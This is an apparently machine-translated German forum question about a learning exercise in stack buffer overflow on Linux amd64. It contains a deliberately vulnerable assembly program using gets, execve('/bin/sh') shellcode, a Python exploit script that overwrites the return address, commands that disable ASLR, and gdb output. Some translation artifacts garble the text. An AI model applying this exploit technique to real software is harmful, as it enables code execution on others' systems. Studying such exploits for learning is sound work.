Ich spielte mit Pufferüberläufen auf Linux (amd64) und versucht, ein einfaches Programm zu nutzen, aber es ist fehlgeschlagen. Ich habe die Sicherheitsfunktionen deaktiviert (Adressraum-Layout-Randomisierung mit sysctl -w kernel.randomize_va_space = 0 und nx-Bit im BIOS). Es springt zum Stack und führt den Shellcode aus, aber es startet keine Shell. Der Execve-Syscall ist erfolgreich, aber danach wird er einfach beendet. Irgendeine Idee, was ist los? Das Ausführen des Shellcode Standalone funktioniert gut.Shellcode für einen einfachen Stack-Überlauf: Exploited Programm mit Shell endet direkt nach Execve ("/ bin/sh")
Bonusfrage: Warum muss ich vor dem Aufruf von printf rax auf Null setzen? (Siehe Kommentar im Code)
Vulnerable Datei buffer.s:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
Zusammengestellt mit:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
Schritte mit:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
Debugging mit GDB:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
Ich nehme% rsi% ist argv. Kann es NULL sein? –
Shellcode direkt ausführen ("$ ./shellcode") funktioniert, also nehme ich an, dass es kein Problem sein sollte. Die C äquivalente #include void main() {execve ("/ bin/sh", NULL, NULL); } startet auch eine Shell. –
henning
Was ist der Fehler, den Sie bekommen? Konntest du das herausfinden (ich nehme an, es ist% rax%)? –